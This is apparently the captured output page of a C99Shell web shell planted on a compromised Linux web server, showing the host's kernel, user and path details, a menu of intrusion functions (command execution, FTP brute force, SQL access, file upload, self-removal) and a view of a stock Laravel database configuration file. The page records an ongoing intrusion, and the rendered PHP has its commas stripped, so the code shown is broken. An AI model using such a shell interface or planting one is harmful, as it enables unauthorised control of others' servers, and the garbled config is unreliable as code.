!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/config/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     database.php (6.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use Illuminate\Support\Str;

return [

    
/*
    |--------------------------------------------------------------------------
    | Default Database Connection Name
    |--------------------------------------------------------------------------
    |
    | Here you may specify which of the database connections below you wish
    | to use as your default connection for database operations. This is
    | the connection which will be utilized unless another connection
    | is explicitly specified when you execute a query / statement.
    |
    */

    
'default' => env('DB_CONNECTION''sqlite'),

    
/*
    |--------------------------------------------------------------------------
    | Database Connections
    |--------------------------------------------------------------------------
    |
    | Below are all of the database connections defined for your application.
    | An example configuration is provided for each database system which
    | is supported by Laravel. You're free to add / remove connections.
    |
    */

    
'connections' => [

        
'sqlite' => [
            
'driver' => 'sqlite',
            
'url' => env('DB_URL'),
            
'database' => env('DB_DATABASE'database_path('database.sqlite')),
            
'prefix' => '',
            
'foreign_key_constraints' => env('DB_FOREIGN_KEYS'true),
            
'busy_timeout' => null,
            
'journal_mode' => null,
            
'synchronous' => null,
            
'transaction_mode' => 'DEFERRED',
        ],

        
'mysql' => [
            
'driver' => 'mysql',
            
'url' => env('DB_URL'),
            
'host' => env('DB_HOST''127.0.0.1'),
            
'port' => env('DB_PORT''3306'),
            
'database' => env('DB_DATABASE''laravel'),
            
'username' => env('DB_USERNAME''root'),
            
'password' => env('DB_PASSWORD'''),
            
'unix_socket' => env('DB_SOCKET'''),
            
'charset' => env('DB_CHARSET''utf8mb4'),
            
'collation' => env('DB_COLLATION''utf8mb4_unicode_ci'),
            
'prefix' => '',
            
'prefix_indexes' => true,
            
'strict' => true,
            
'engine' => null,
            
'options' => extension_loaded('pdo_mysql') ? array_filter([
                
PDO::MYSQL_ATTR_SSL_CA => env('MYSQL_ATTR_SSL_CA'),
            ]) : [],
        ],

        
'mariadb' => [
            
'driver' => 'mariadb',
            
'url' => env('DB_URL'),
            
'host' => env('DB_HOST''127.0.0.1'),
            
'port' => env('DB_PORT''3306'),
            
'database' => env('DB_DATABASE''laravel'),
            
'username' => env('DB_USERNAME''root'),
            
'password' => env('DB_PASSWORD'''),
            
'unix_socket' => env('DB_SOCKET'''),
            
'charset' => env('DB_CHARSET''utf8mb4'),
            
'collation' => env('DB_COLLATION''utf8mb4_unicode_ci'),
            
'prefix' => '',
            
'prefix_indexes' => true,
            
'strict' => true,
            
'engine' => null,
            
'options' => extension_loaded('pdo_mysql') ? array_filter([
                
PDO::MYSQL_ATTR_SSL_CA => env('MYSQL_ATTR_SSL_CA'),
            ]) : [],
        ],

        
'pgsql' => [
            
'driver' => 'pgsql',
            
'url' => env('DB_URL'),
            
'host' => env('DB_HOST''127.0.0.1'),
            
'port' => env('DB_PORT''5432'),
            
'database' => env('DB_DATABASE''laravel'),
            
'username' => env('DB_USERNAME''root'),
            
'password' => env('DB_PASSWORD'''),
            
'charset' => env('DB_CHARSET''utf8'),
            
'prefix' => '',
            
'prefix_indexes' => true,
            
'search_path' => 'public',
            
'sslmode' => 'prefer',
        ],

        
'sqlsrv' => [
            
'driver' => 'sqlsrv',
            
'url' => env('DB_URL'),
            
'host' => env('DB_HOST''localhost'),
            
'port' => env('DB_PORT''1433'),
            
'database' => env('DB_DATABASE''laravel'),
            
'username' => env('DB_USERNAME''root'),
            
'password' => env('DB_PASSWORD'''),
            
'charset' => env('DB_CHARSET''utf8'),
            
'prefix' => '',
            
'prefix_indexes' => true,
            
// 'encrypt' => env('DB_ENCRYPT', 'yes'),
            // 'trust_server_certificate' => env('DB_TRUST_SERVER_CERTIFICATE', 'false'),
        
],

    ],

    
/*
    |--------------------------------------------------------------------------
    | Migration Repository Table
    |--------------------------------------------------------------------------
    |
    | This table keeps track of all the migrations that have already run for
    | your application. Using this information, we can determine which of
    | the migrations on disk haven't actually been run on the database.
    |
    */

    
'migrations' => [
        
'table' => 'migrations',
        
'update_date_on_publish' => true,
    ],

    
/*
    |--------------------------------------------------------------------------
    | Redis Databases
    |--------------------------------------------------------------------------
    |
    | Redis is an open source, fast, and advanced key-value store that also
    | provides a richer body of commands than a typical key-value system
    | such as Memcached. You may define your connection settings here.
    |
    */

    
'redis' => [

        
'client' => env('REDIS_CLIENT''phpredis'),

        
'options' => [
            
'cluster' => env('REDIS_CLUSTER''redis'),
            
'prefix' => env('REDIS_PREFIX'Str::slug((string) env('APP_NAME''laravel')).'-database-'),
            
'persistent' => env('REDIS_PERSISTENT'false),
        ],

        
'default' => [
            
'url' => env('REDIS_URL'),
            
'host' => env('REDIS_HOST''127.0.0.1'),
            
'username' => env('REDIS_USERNAME'),
            
'password' => env('REDIS_PASSWORD'),
            
'port' => env('REDIS_PORT''6379'),
            
'database' => env('REDIS_DB''0'),
            
'max_retries' => env('REDIS_MAX_RETRIES'3),
            
'backoff_algorithm' => env('REDIS_BACKOFF_ALGORITHM''decorrelated_jitter'),
            
'backoff_base' => env('REDIS_BACKOFF_BASE'100),
            
'backoff_cap' => env('REDIS_BACKOFF_CAP'1000),
        ],

        
'cache' => [
            
'url' => env('REDIS_URL'),
            
'host' => env('REDIS_HOST''127.0.0.1'),
            
'username' => env('REDIS_USERNAME'),
            
'password' => env('REDIS_PASSWORD'),
            
'port' => env('REDIS_PORT''6379'),
            
'database' => env('REDIS_CACHE_DB''1'),
            
'max_retries' => env('REDIS_MAX_RETRIES'3),
            
'backoff_algorithm' => env('REDIS_BACKOFF_ALGORITHM''decorrelated_jitter'),
            
'backoff_base' => env('REDIS_BACKOFF_BASE'100),
            
'backoff_cap' => env('REDIS_BACKOFF_CAP'1000),
        ],

    ],

];

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--